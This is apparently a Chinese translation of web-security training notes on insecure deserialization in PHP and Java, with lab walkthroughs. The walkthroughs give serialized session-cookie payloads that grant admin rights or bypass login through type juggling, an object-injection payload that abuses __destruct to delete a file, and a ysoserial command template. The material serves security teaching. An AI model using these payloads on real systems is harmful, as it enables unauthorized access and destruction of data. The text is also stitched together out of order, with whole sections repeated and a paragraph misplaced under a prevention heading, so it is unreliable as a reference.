考虑将这种松散的比较运算符与来自反序列化对象的用户可控数据结合使用的情况。这有可能导致危险的逻辑缺陷。

1
2
3
4
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

假设攻击者修改了密码属性,使其包含整数 0,而不是预期的字符串。只要存储的密码不是以数字开头,该条件就会始终返回 true,从而实现身份验证绕过。请注意,这只是因为反序列化保留了数据类型。如果代码直接从请求中获取密码,0 将被转换为字符串,条件将返回 false

Note

在 PHP 8 及以后的版本中,0 == “Example string ”比较结果为 false,因为在比较过程中字符串不再隐式转换为 0。因此,在这些版本的 PHP 中无法使用此漏洞。

比较以数字开头的字母数字字符串的行为在 PHP 8 中保持不变。因此,5 == “5 of something ”仍被视为 5 == 5

请注意,在修改任何序列化对象格式中的数据类型时,一定要记得更新序列化数据中的任何类型标签和长度指示符。否则,序列化对象将被损坏,无法进行反序列化。

Lab: 修改序列化数据类型

本实验使用了基于序列化的会话机制,因此容易发生身份验证绕过。要解决该实验问题,请编辑会话 cookie 中的序列化对象,以访问administrator账户。然后删除用户 carlos

  • 使用自己的凭据登录。在 Burp 中,打开登录后的 GET /my-account 请求,并使用检查器检查会话 cookie,以显示序列化的 PHP 对象。将此请求发送到 Burp Repeater。

  • 在 Burp Repeater 中,使用检查器面板对会话 cookie 进行如下修改:

    • 将用户名属性的长度更新为 13。

    • 将用户名改为管理员。

    • 将访问令牌更改为整数 0。 由于这不再是字符串,因此还需要删除值周围的双引号。

    • 将 s 替换为 i,更新访问令牌的数据类型标签。

结果应该是这样的:

1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
  • 单击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  • 发送请求。请注意,响应中现在包含一个指向 /admin 管理面板的链接,表明您已成功以管理员用户身份访问该页面。

  • 将请求路径改为 /admin,然后重新发送。注意/admin 页面包含删除特定用户账户的链接。

  • 将请求路径更改为/admin/delete?username=carlos,然后发送请求以解决实验室问题。

在直接处理二进制格式时,我们建议使用 BApp 商店提供的 Hackvertor 扩展。使用 Hackvertor,你可以将序列化数据修改为字符串,它会自动更新二进制数据,并相应调整偏移量。这样可以节省大量的手动操作。

使用应用程序功能

除了简单地检查属性值外,网站功能还可能对来自反序列化对象的数据执行危险操作。在这种情况下,您可以利用不安全的反序列化传递非预期数据,并利用相关功能进行破坏。

例如,作为网站 “删除用户 ”功能的一部分,用户的个人资料图片是通过访问 $user->image_location 属性中的文件路径来删除的。如果该 $user 是通过序列化对象创建的,攻击者就可以通过将 image_location 设置为任意文件路径的修改后传入来利用这一漏洞。删除自己的用户账户后,也会删除这个任意文件。

Lab: 使用应用程序功能利用不安全的反序列化

本实验室使用基于序列化的会话机制。某个功能会对序列化对象中提供的数据调用一个危险的方法。要解决这个实验问题,请编辑会话 cookie 中的序列化对象,并用它删除Carlos主目录中的 morale.txt 文件。

  1. 登录自己的账户。在 “我的账户 ”页面,注意到有删除账户的选项,可向 /my-account/delete 发送 POST 请求。

  2. 向 Burp Repeater 发送包含会话 cookie 的请求。

  3. 在 Burp Repeater 中,使用检查器面板研究会话 cookie。注意到序列化对象有一个 avatar_link 属性,其中包含头像的文件路径。

  4. 编辑序列化数据,使 avatar_link 指向 /home/carlos/morale.txt。记住要更新长度指示符。修改后的属性应如下所示:

1
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
  1. 点击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  2. 将请求行改为 POST /my-account/delete 并发送请求。您的账户将被删除,同时删除的还有卡洛斯的 morale.txt 文件。

这个示例依赖于攻击者通过用户可访问的功能手动调用危险方法。但是,如果利用漏洞自动将数据传递到危险方法中,不安全的反序列化就会变得更加有趣。使用 “magic methods ”可以实现这一点。

Magic methods

魔法方法是无需显式调用的方法的特殊子集。相反,每当发生特定事件或情况时,它们就会被自动调用。魔法方法是各种语言中面向对象编程的常见特征。有时会在方法名称的前缀或周围加上双引号来表示它们。

开发人员可以在类中添加魔法方法,以便预先确定在相应事件或场景发生时应执行哪些代码。调用魔法方法的具体时间和原因因方法而异。PHP 中最常见的例子之一是 __construct(),它在类的对象实例化时被调用,类似于 Python 的 __init__ 。通常,构造函数魔法方法包含初始化实例属性的代码。不过,开发人员可以自定义魔法方法,以执行他们想要的任何代码。

魔法方法被广泛使用,其本身并不代表漏洞。但是,当执行这些方法的代码处理攻击者可控制的数据(例如来自反序列化对象的数据)时,它们就会变得危险。攻击者可以利用这一点,在满足相应条件时自动调用反序列化数据上的方法。

最重要的是,有些语言在反序列化过程中会自动调用魔法方法。例如,PHP 的 unserialize() 方法会查找并调用对象的 __wakeup() 魔法方法。

在 Java 反序列化中,ObjectInputStream.readObject() 方法也是如此,该方法用于从初始字节流中读取数据,本质上类似于 “重新初始化 ”序列化对象的构造函数。不过,可序列化类也可以按如下方式声明自己的 readObject() 方法:

1
2
3
4
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
// implementation
}

以这种方式声明的 readObject() 方法就像一个魔法方法,在反序列化过程中会被调用。这样,类就能更紧密地控制自己字段的反序列化。

你应该密切关注任何包含这类神奇方法的类。它们允许你在对象完全反序列化之前将数据从序列化对象传递到网站代码中。这是创建更高级漏洞的起点。

注入任意对象

正如我们所见,偶尔可以通过简单编辑网站提供的对象来利用不安全的反序列化。然而,注入任意对象类型会带来更多可能性。

在面向对象编程中,对象可用的方法由其类决定。因此,如果攻击者能操纵作为序列化数据传入的对象类别,就能影响反序列化后甚至反序列化过程中执行的代码。

反序列化方法通常不会检查它们正在反序列化的对象。这意味着你可以传入网站可用的任何可序列化类的对象,而该对象将被反序列化。这实际上允许攻击者创建任意类的实例。这个对象不是预期的类并不重要。意外的对象类型可能会导致应用程序逻辑出现异常,但恶意对象届时已经实例化了。

如果攻击者可以访问源代码,他们就可以详细研究所有可用的类。要构建一个简单的漏洞,攻击者可以查找包含反序列化魔法方法的类,然后检查其中是否有对可控数据执行危险操作的类。然后,攻击者就可以传入该类的序列化对象,使用其魔法方法进行攻击。

Lab: PHP 中的任意对象注入

本实验使用基于序列化的会话机制,因此容易受到任意对象注入的攻击。要解决该实验问题,请创建并注入一个恶意序列化对象,以删除 Carlos home 目录中的 morale.txt 文件。您需要获得源代码访问权限才能解决本实验。

  1. 登录自己的账户,注意会话 cookie 包含一个序列化的 PHP 对象。

  2. 在网站地图中,注意到网站引用了 /libs/CustomTemplate.php 文件。右键单击该文件,选择 “发送到中继器”。

image-20250527163121200

  1. 在 Burp Repeater 中,注意在请求行的文件名后添加一个斜杠 (~) 就能读取源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class CustomTemplate {
private $template_file_path;
private $lock_file_path;

public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}

private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}

public function getTemplate() {
return file_get_contents($this->template_file_path);
}

public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}

function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}

?>
  1. 在源代码中,请注意 CustomTemplate 类包含 __destruct() 魔法方法。这将调用 lock_file_path 属性上的 unlink() 方法,从而删除该路径上的文件。

  2. 在 Burp 解码器中,使用序列化 PHP 数据的正确语法创建一个 CustomTemplate 对象,并将 lock_file_path 属性设置为 /home/carlos/morale.txt。确保使用正确的数据类型标签和长度指示符。最终对象应如下所示:

1
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
  1. 对该对象进行 Base64 和 URL 编码,并将其保存到剪贴板。

  2. 向 Burp Repeater 发送包含会话 cookie 的请求。

  3. 在 Burp Repeater 中,用剪贴板中修改后的 cookie 替换会话 cookie。

  4. 发送请求。魔法方法 __destruct() 会被自动调用,并删除 Carlos 的文件。

包含这些反序列化魔法方法的类还可用于发起更复杂的攻击,其中涉及一长串方法调用,即所谓的 “小工具链”。

小工具链

小工具 "是应用程序中存在的代码片段,可帮助攻击者实现特定目标。单个小工具可能不会直接对用户输入进行任何有害操作。但是,攻击者的目标可能只是调用一个方法,将用户输入传递到另一个小工具中。通过以这种方式将多个小工具串联在一起,攻击者就有可能将其输入传递到一个危险的 “下沉小工具 ”中,从而造成最大的破坏。

重要的是要明白,与其他一些类型的漏洞利用不同,小工具链不是攻击者构建的链式方法的有效payload。所有代码都已存在于网站上。攻击者唯一能控制的是传入小工具链的数据。这通常是通过在反序列化过程中调用的魔法方法来实现的,有时也称为 “启动小工具”。

在外网,许多不安全的反序列化漏洞只能通过使用小工具链来利用。这有时可能是简单的一步或两步链,但构建高严重性攻击可能需要更复杂的对象实例化和方法调用序列。因此,能够构建小工具链是成功利用不安全反序列化的关键因素之一。

使用预制小工具链

手动识别小工具链可能是一个相当艰巨的过程,而且在没有源代码访问权限的情况下几乎是不可能的。幸运的是,有几种使用预建小工具链的方法可以先试试。

有几种工具可以提供一系列预先发现的链,这些链已在其他网站上被成功利用。即使您没有访问源代码的权限,也可以使用这些工具来识别和利用不安全的反序列化漏洞,所需的工作量相对较小。之所以能采用这种方法,是因为广泛使用了包含可利用小工具链的库。例如,如果 Java 的 Apache Commons Collections 库中的小工具链可以在一个网站上被利用,那么任何其他实现该库的网站也可以使用相同的小工具链进行利用。

ysoserial

ysoserial "就是这样一个 Java 反序列化工具。它可以让你从提供的小工具链中选择一个你认为目标应用程序正在使用的库,然后传入你想执行的命令。然后,它会根据所选链创建一个合适的序列化对象。这仍然需要一定的尝试和错误,但比手动构建自己的小工具链要省力得多。

Note
在 Java 16 及以上版本中,您需要设置一系列命令行参数,以便 Java 运行 ysoserial。例如

1
2
3
4
5
6
java -jar ysoserial-all.jar \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
[payload] '[command]'

Lab:使用Apache Commons利用Java 反序列化

本实验室使用基于序列化的会话机制,并加载 Apache Commons Collections 库。虽然您没有源代码访问权限,但仍可使用预构建的小工具链来利用本实验室。

要解决该实验室问题,请使用第三方工具生成一个包含远程代码执行有效载荷的恶意序列化对象。然后,将此对象传入网站,删除卡洛斯主目录中的 morale.txt 文件。

本文参考:

不安全的反序列化

在本节中,我们将介绍什么是不安全的反序列化,并描述不安全的反序列化如何可能使网站遭受严重攻击。我们将重点介绍典型场景,并使用 PHP、Ruby 和 Java 反序列化的具体示例演示一些广泛适用的技术。我们还将介绍一些可以避免自己的网站出现不安全反序列化漏洞的方法。

什么是序列化?

序列化是将复杂的数据结构(如对象及其字段)转换为 “flatter” 格式的过程,这种格式可以作为连续的字节流发送和接收。数据序列化使以下工作变得更加简单:

  • 将复杂数据写入进程间内存、文件或数据库

  • 通过网络、应用程序不同组件之间或 API 调用等方式发送复杂数据

最重要的是,在序列化对象时,其状态也会被持久化。换句话说,对象的属性及其赋值都会被保留下来。

序列化与反序列化

反序列化是将字节流还原为原始对象的全功能复制品的过程,其状态与序列化时完全相同。然后,网站的逻辑就可以与这个反序列化对象交互,就像与其他对象交互一样。

许多编程语言都为序列化提供本地支持。具体如何序列化对象取决于语言。有些语言将对象序列化为二进制格式,而其他语言则使用不同的字符串格式,其可读性也各不相同。请注意,原始对象的所有属性都会存储在序列化数据流中,包括任何私有字段。要防止某个字段被序列化,必须在类声明中将其明确标记为 “transient” 字段。

请注意,在使用不同的编程语言时,序列化可能被称为 marshalling(Ruby)或 pickling(Python)。这些术语在此处与 “serialization” 同义。

什么是不安全的反序列化?

不安全的反序列化是指网站对用户可控数据进行反序列化。这有可能使攻击者操纵序列化对象,从而将有害数据传递到应用程序代码中。

甚至有可能将序列化后的对象替换为完全不同类的对象。令人担忧的是,网站可用的任何类的对象都会被反序列化和实例化,而不管预期的是哪个类。因此,不安全的反序列化有时被称为 “对象注入 ”漏洞。

一个意外类的对象可能会导致异常。不过,此时破坏可能已经造成。许多基于反序列化的攻击都是在反序列化完成之前完成的。这意味着,即使网站本身的功能不直接与恶意对象交互,反序列化过程本身也可能发起攻击。因此,逻辑基于强类型语言的网站也容易受到这些技术的攻击。

不安全的反序列化漏洞是如何产生的?

不安全的反序列化通常是因为人们普遍缺乏对反序列化用户可控数据的危险性的认识。理想情况下,用户输入根本不应该被反序列化。

不过,有时网站所有者会认为自己很安全,因为他们对反序列化数据实施了某种形式的额外检查。这种方法往往是无效的,因为几乎不可能实施验证或消毒来应对每一种可能发生的情况。这些检查从根本上说也是有缺陷的,因为它们依赖于在数据被反序列化后对其进行检查,而在许多情况下,这已经太晚了,无法阻止攻击。

由于通常认为反序列化对象是可信的,因此也可能出现漏洞。特别是在使用二进制序列化格式的语言时,开发人员可能会认为用户无法有效地读取或操作数据。然而,虽然可能需要付出更多努力,但攻击者利用二进制序列化对象的可能性与利用基于字符串格式的对象的可能性一样大。

现代网站中存在大量依赖关系,这也使得基于反序列化的攻击成为可能。一个典型的网站可能实现了许多不同的库,每个库都有自己的依赖关系。这就形成了一个庞大的类和方法池,很难对其进行安全管理。由于攻击者可以创建任何这些类的实例,因此很难预测在恶意数据上可以调用哪些方法。如果攻击者能够将一长串意想不到的方法调用串联起来,将数据传递到与初始源完全无关的汇中,情况就更是如此。因此,要预测恶意数据流并堵住每个潜在漏洞几乎是不可能的。

简而言之,可以说不可能安全地反序列化不受信任的输入。

不安全的反序列化会产生什么影响?

不安全的反序列化可能会造成非常严重的影响,因为它为大量增加的攻击面提供了一个切入点。它允许攻击者以有害的方式重复使用现有的应用程序代码,导致许多其他漏洞,通常是远程代码执行。

即使在不可能执行远程代码的情况下,不安全的反序列化也会导致权限升级、任意文件访问和拒绝服务攻击。

如何利用不安全的反序列化漏洞

现在您已经熟悉了序列化和反序列化的基础知识,我们可以看看如何利用不安全的反序列化漏洞。

利用不安全的反序列化漏洞

在本节中,我们将以 PHP、Ruby 和 Java 反序列化为例,教您如何利用一些常见情况。我们希望展示利用不安全的反序列化实际上比许多人想象的要容易得多。如果您能够使用预构建的小工具链,甚至在黑盒测试中可以做到这一点。

我们还将指导您创建自己的基于反序列化的高严重性攻击。虽然这些攻击通常需要源代码访问权限,但一旦理解了基本概念,学习起来也会比想象中容易。我们将特别介绍以下主题:

  • 如何识别不安全的反序列化 LABS

  • 修改网站期望的序列化对象 LABS

  • 向危险的网站功能传递恶意数据 LABS

  • 注入任意对象类型

  • 串联方法调用以控制进入危险水槽小工具的数据流 LABS

  • 手动创建自己的高级漏洞利用程序 LABS

  • PHAR 反序列化

Note

尽管许多实验和示例都基于 PHP,但大多数开发技术对其他语言也同样适用。

如何识别不安全的反序列化

不管是白盒测试还是黑盒测试,识别不安全的反序列化都相对简单。

在审计过程中,你应该查看所有传入网站的数据,并尝试识别任何看起来像序列化数据的东西。如果了解不同语言使用的格式,序列化数据就能比较容易地识别出来。在本节中,我们将展示 PHP 和 Java 序列化的示例。一旦识别出序列化数据,就可以测试是否能够控制它。

Tip

对于 Burp Suite Professional 的用户,Burp Scanner 会自动标记任何看起来包含序列化对象的 HTTP 消息。

PHP 序列化格式

PHP 使用的大多是人类可读的字符串格式,字母代表数据类型,数字代表每个条目的长度。例如,用户对象的属性为

1
2
$user->name = "carlos";
$user->isLoggedIn = true;

序列化后,该对象的外观可能如下所示:

1
O:4:"User":2:{s:4:"name":s:6:"carlos";s:10:"isLoggedIn":b:1;}

这可以解释为:

  • O:4: "User" - 具有 4 个字符类名 "User" 的对象

  • 2 - 该对象有 2 个属性

  • s:4: "name" - 第一个属性的键是 4 个字符的字符串 “name”

  • s:6: "carlos" - 第一个属性的值是 6 个字符的字符串 “carlos”

  • s:10: "isLoggedIn" - 第二个属性的键是 10 个字符的字符串 “isLoggedIn”。

  • b:1 - 第二个属性的值是布尔值 true

PHP 序列化的本地方法是 serialize()unserialize()。如果可以访问源代码,就应该先在代码中查找 unserialize(),然后进一步研究。

Java 序列化格式

有些语言(如 Java)使用二进制序列化格式。这种格式更难读取,但如果知道如何识别一些蛛丝马迹,还是可以识别序列化数据的。例如,序列化的 Java 对象总是以相同的字节开始,在十六进制中编码为 aced,在 Base64 中编码为 rO0

任何实现了 java.io.Serializable 接口的类都可以被序列化和反序列化。如果您可以访问源代码,请注意任何使用 readObject() 方法的代码,该方法用于从 InputStream 中读取和反序列化数据。

操作序列化对象

利用某些反序列化漏洞就像更改序列化对象中的一个属性一样简单。由于对象状态是持久化的,因此可以通过研究序列化数据来识别和编辑有趣的属性值。然后,您就可以通过网站的反序列化过程将恶意对象传入网站。这是基本反序列化漏洞利用的第一步。

一般来说,在操作序列化对象时有两种方法。一种是直接编辑字节流形式的对象,另一种是用相应的语言编写简短的脚本,自己创建新对象并将其序列化。在处理二进制序列化格式时,后一种方法通常更为简便。

修改对象属性

在篡改数据时,只要攻击者保留了一个有效的序列化对象,反序列化过程就会创建一个带有修改后属性值的服务器端对象。

举个简单的例子,一个网站使用序列化的 User 对象在 cookie 中存储用户会话数据。如果攻击者在 HTTP 请求中发现了这个序列化对象,他们可能会对其进行解码,发现以下字节流:

1
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}

isAdmin 属性是一个明显的关注点。攻击者只需将该属性的布尔值改为 1(true),重新编码对象,然后用修改后的值覆盖当前 cookie 即可。单独来看,这不会产生任何影响。但是,假设网站使用此 cookie 来检查当前用户是否有访问某些管理功能的权限:

1
2
3
4
$user = unserialize($_COOKIE);
if ($user->isAdmin === true) {
// allow access to admin interface
}

这段有漏洞的代码会根据 cookie 中的数据(包括攻击者修改过的 isAdmin 属性)实例化一个User对象。在任何时候都不会检查序列化对象的真实性。然后,这些数据会被传递到条件语句中,在这种情况下,就可以轻松实现权限升级。

这种简单的情况在实际应用中并不常见。不过,以这种方式编辑属性值,展示了获取不安全反序列化所暴露的大量攻击面的第一步。

Lab:修改序列化对象

本实验使用了基于序列化的会话机制,因此存在权限升级漏洞。要解决该实验问题,请编辑会话 cookie 中的序列化对象,利用此漏洞获得管理权限。然后删除用户 carlos。

  • 使用自己的凭据登录。请注意,登录后的 GET /my-account 请求包含一个会话 cookie,它似乎是 URL 和 Base64 编码的。

  • 使用 Burp 的 Inspector 面板研究请求的解码形式。请注意,cookie 实际上是一个序列化的 PHP 对象。admin 属性包含 b:0,表示布尔值 false。将此请求发送到 Burp Repeater。

  • 在 Burp Repeater 中,使用检查器再次检查 cookie,并将 admin 属性的值更改为 b:1。点击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  • 发送请求。请注意,响应中现在包含了一个指向 /admin 管理面板的链接,表明您已使用管理员权限访问了该页面。

  • 将请求路径改为 /admin,然后重新发送。注意 /admin 页面包含删除特定用户账户的链接。

  • 将请求路径更改为 /admin/delete?username=carlos,然后发送请求以解决实验室问题。

修改数据类型

我们已经看到了如何修改序列化对象中的属性值,但也有可能提供意想不到的数据类型。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true。

如何防止不安全的反序列化漏洞

一般来说,除非绝对必要,否则应避免对用户输入进行反序列化。在许多情况下,反序列化可能带来的高严重性漏洞,以及防范这些漏洞的难度,都超过了反序列化的好处。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true。

由于在比较不同数据类型时使用了松散比较运算符 (==),基于 PHP 的逻辑特别容易受到这种操作的影响。例如,如果在整数和字符串之间进行松散比较,PHP 会尝试将字符串转换为整数,这意味着 5 == “5” 的值为 true

不同寻常的是,这也适用于任何以数字开头的字母数字字符串。在这种情况下,PHP 将根据开头的数字有效地将整个字符串转换为整数值。字符串的其余部分将被完全忽略。因此,5 == "5 of something" 实际上被视为 5 == 5

同样,在 PHP 7.x 及更早版本中,比较 0 == "Example string" 的结果为 true,因为 PHP 将整个字符串视为整数 0

考虑将这种松散的比较运算符与来自反序列化对象的用户可控数据结合使用的情况。这有可能导致危险的逻辑缺陷。

1
2
3
4
$login = unserialize($_COOKIE)
if ($login['password'] == $password) {
// log in successfully
}

假设攻击者修改了密码属性,使其包含整数 0,而不是预期的字符串。只要存储的密码不是以数字开头,该条件就会始终返回 true,从而实现身份验证绕过。请注意,这只是因为反序列化保留了数据类型。如果代码直接从请求中获取密码,0 将被转换为字符串,条件将返回 false

Note

在 PHP 8 及以后的版本中,0 == “Example string ”比较结果为 false,因为在比较过程中字符串不再隐式转换为 0。因此,在这些版本的 PHP 中无法使用此漏洞。

比较以数字开头的字母数字字符串的行为在 PHP 8 中保持不变。因此,5 == “5 of something ”仍被视为 5 == 5

请注意,在修改任何序列化对象格式中的数据类型时,一定要记得更新序列化数据中的任何类型标签和长度指示符。否则,序列化对象将被损坏,无法进行反序列化。

Lab: 修改序列化数据类型

本实验使用了基于序列化的会话机制,因此容易发生身份验证绕过。要解决该实验问题,请编辑会话 cookie 中的序列化对象,以访问administrator账户。然后删除用户 carlos

  • 使用自己的凭据登录。在 Burp 中,打开登录后的 GET /my-account 请求,并使用检查器检查会话 cookie,以显示序列化的 PHP 对象。将此请求发送到 Burp Repeater。

  • 在 Burp Repeater 中,使用检查器面板对会话 cookie 进行如下修改:

    • 将用户名属性的长度更新为 13。

    • 将用户名改为管理员。

    • 将访问令牌更改为整数 0。 由于这不再是字符串,因此还需要删除值周围的双引号。

    • 将 s 替换为 i,更新访问令牌的数据类型标签。

结果应该是这样的:

1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
  • 单击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  • 发送请求。请注意,响应中现在包含一个指向 /admin 管理面板的链接,表明您已成功以管理员用户身份访问该页面。

  • 将请求路径改为 /admin,然后重新发送。注意/admin 页面包含删除特定用户账户的链接。

  • 将请求路径更改为/admin/delete?username=carlos,然后发送请求以解决实验室问题。

在直接处理二进制格式时,我们建议使用 BApp 商店提供的 Hackvertor 扩展。使用 Hackvertor,你可以将序列化数据修改为字符串,它会自动更新二进制数据,并相应调整偏移量。这样可以节省大量的手动操作。

使用应用程序功能

除了简单地检查属性值外,网站功能还可能对来自反序列化对象的数据执行危险操作。在这种情况下,您可以利用不安全的反序列化传递非预期数据,并利用相关功能进行破坏。

例如,作为网站 “删除用户 ”功能的一部分,用户的个人资料图片是通过访问 $user->image_location 属性中的文件路径来删除的。如果该 $user 是通过序列化对象创建的,攻击者就可以通过将 image_location 设置为任意文件路径的修改后传入来利用这一漏洞。删除自己的用户账户后,也会删除这个任意文件。

Lab: 使用应用程序功能利用不安全的反序列化

本实验室使用基于序列化的会话机制。某个功能会对序列化对象中提供的数据调用一个危险的方法。要解决这个实验问题,请编辑会话 cookie 中的序列化对象,并用它删除Carlos主目录中的 morale.txt 文件。

  1. 登录自己的账户。在 “我的账户 ”页面,注意到有删除账户的选项,可向 /my-account/delete 发送 POST 请求。

  2. 向 Burp Repeater 发送包含会话 cookie 的请求。

  3. 在 Burp Repeater 中,使用检查器面板研究会话 cookie。注意到序列化对象有一个 avatar_link 属性,其中包含头像的文件路径。

  4. 编辑序列化数据,使 avatar_link 指向 /home/carlos/morale.txt。记住要更新长度指示符。修改后的属性应如下所示:

1
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
  1. 点击 “应用更改”。修改后的对象将自动重新编码并更新到请求中。

  2. 将请求行改为 POST /my-account/delete 并发送请求。您的账户将被删除,同时删除的还有卡洛斯的 morale.txt 文件。

这个示例依赖于攻击者通过用户可访问的功能手动调用危险方法。但是,如果利用漏洞自动将数据传递到危险方法中,不安全的反序列化就会变得更加有趣。使用 “magic methods ”可以实现这一点。

Magic methods

魔法方法是无需显式调用的方法的特殊子集。相反,每当发生特定事件或情况时,它们就会被自动调用。魔法方法是各种语言中面向对象编程的常见特征。有时会在方法名称的前缀或周围加上双引号来表示它们。

开发人员可以在类中添加魔法方法,以便预先确定在相应事件或场景发生时应执行哪些代码。调用魔法方法的具体时间和原因因方法而异。PHP 中最常见的例子之一是 __construct(),它在类的对象实例化时被调用,类似于 Python 的 __init__ 。通常,构造函数魔法方法包含初始化实例属性的代码。不过,开发人员可以自定义魔法方法,以执行他们想要的任何代码。

魔法方法被广泛使用,其本身并不代表漏洞。但是,当执行这些方法的代码处理攻击者可控制的数据(例如来自反序列化对象的数据)时,它们就会变得危险。攻击者可以利用这一点,在满足相应条件时自动调用反序列化数据上的方法。

最重要的是,有些语言在反序列化过程中会自动调用魔法方法。例如,PHP 的 unserialize() 方法会查找并调用对象的 __wakeup() 魔法方法。

在 Java 反序列化中,ObjectInputStream.readObject() 方法也是如此,该方法用于从初始字节流中读取数据,本质上类似于 “重新初始化 ”序列化对象的构造函数。不过,可序列化类也可以按如下方式声明自己的 readObject() 方法:

1
2
3
4
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException
{
// implementation
}

以这种方式声明的 readObject() 方法就像一个魔法方法,在反序列化过程中会被调用。这样,类就能更紧密地控制自己字段的反序列化。

你应该密切关注任何包含这类神奇方法的类。它们允许你在对象完全反序列化之前将数据从序列化对象传递到网站代码中。这是创建更高级漏洞的起点。

注入任意对象

正如我们所见,偶尔可以通过简单编辑网站提供的对象来利用不安全的反序列化。然而,注入任意对象类型会带来更多可能性。

在面向对象编程中,对象可用的方法由其类决定。因此,如果攻击者能操纵作为序列化数据传入的对象类别,就能影响反序列化后甚至反序列化过程中执行的代码。

反序列化方法通常不会检查它们正在反序列化的对象。这意味着你可以传入网站可用的任何可序列化类的对象,而该对象将被反序列化。这实际上允许攻击者创建任意类的实例。这个对象不是预期的类并不重要。意外的对象类型可能会导致应用程序逻辑出现异常,但恶意对象届时已经实例化了。

如果攻击者可以访问源代码,他们就可以详细研究所有可用的类。要构建一个简单的漏洞,攻击者可以查找包含反序列化魔法方法的类,然后检查其中是否有对可控数据执行危险操作的类。然后,攻击者就可以传入该类的序列化对象,使用其魔法方法进行攻击。

Lab: PHP 中的任意对象注入

本实验使用基于序列化的会话机制,因此容易受到任意对象注入的攻击。要解决该实验问题,请创建并注入一个恶意序列化对象,以删除 Carlos home 目录中的 morale.txt 文件。您需要获得源代码访问权限才能解决本实验。

  1. 登录自己的账户,注意会话 cookie 包含一个序列化的 PHP 对象。

  2. 在网站地图中,注意到网站引用了 /libs/CustomTemplate.php 文件。右键单击该文件,选择 “发送到中继器”。

image-20250527163121200

  1. 在 Burp Repeater 中,注意在请求行的文件名后添加一个斜杠 (~) 就能读取源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class CustomTemplate {
private $template_file_path;
private $lock_file_path;

public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}

private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}

public function getTemplate() {
return file_get_contents($this->template_file_path);
}

public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}

function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}

?>
  1. 在源代码中,请注意 CustomTemplate 类包含 __destruct() 魔法方法。这将调用 lock_file_path 属性上的 unlink() 方法,从而删除该路径上的文件。

  2. 在 Burp 解码器中,使用序列化 PHP 数据的正确语法创建一个 CustomTemplate 对象,并将 lock_file_path 属性设置为 /home/carlos/morale.txt。确保使用正确的数据类型标签和长度指示符。最终对象应如下所示:

1
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
  1. 对该对象进行 Base64 和 URL 编码,并将其保存到剪贴板。

  2. 向 Burp Repeater 发送包含会话 cookie 的请求。

  3. 在 Burp Repeater 中,用剪贴板中修改后的 cookie 替换会话 cookie。

  4. 发送请求。魔法方法 __destruct() 会被自动调用,并删除 Carlos 的文件。

包含这些反序列化魔法方法的类还可用于发起更复杂的攻击,其中涉及一长串方法调用,即所谓的 “小工具链”。

小工具链

小工具 "是应用程序中存在的代码片段,可帮助攻击者实现特定目标。单个小工具可能不会直接对用户输入进行任何有害操作。但是,攻击者的目标可能只是调用一个方法,将用户输入传递到另一个小工具中。通过以这种方式将多个小工具串联在一起,攻击者就有可能将其输入传递到一个危险的 “下沉小工具 ”中,从而造成最大的破坏。

重要的是要明白,与其他一些类型的漏洞利用不同,小工具链不是攻击者构建的链式方法的有效payload。所有代码都已存在于网站上。攻击者唯一能控制的是传入小工具链的数据。这通常是通过在反序列化过程中调用的魔法方法来实现的,有时也称为 “启动小工具”。

在外网,许多不安全的反序列化漏洞只能通过使用小工具链来利用。这有时可能是简单的一步或两步链,但构建高严重性攻击可能需要更复杂的对象实例化和方法调用序列。因此,能够构建小工具链是成功利用不安全反序列化的关键因素之一。

使用预制小工具链

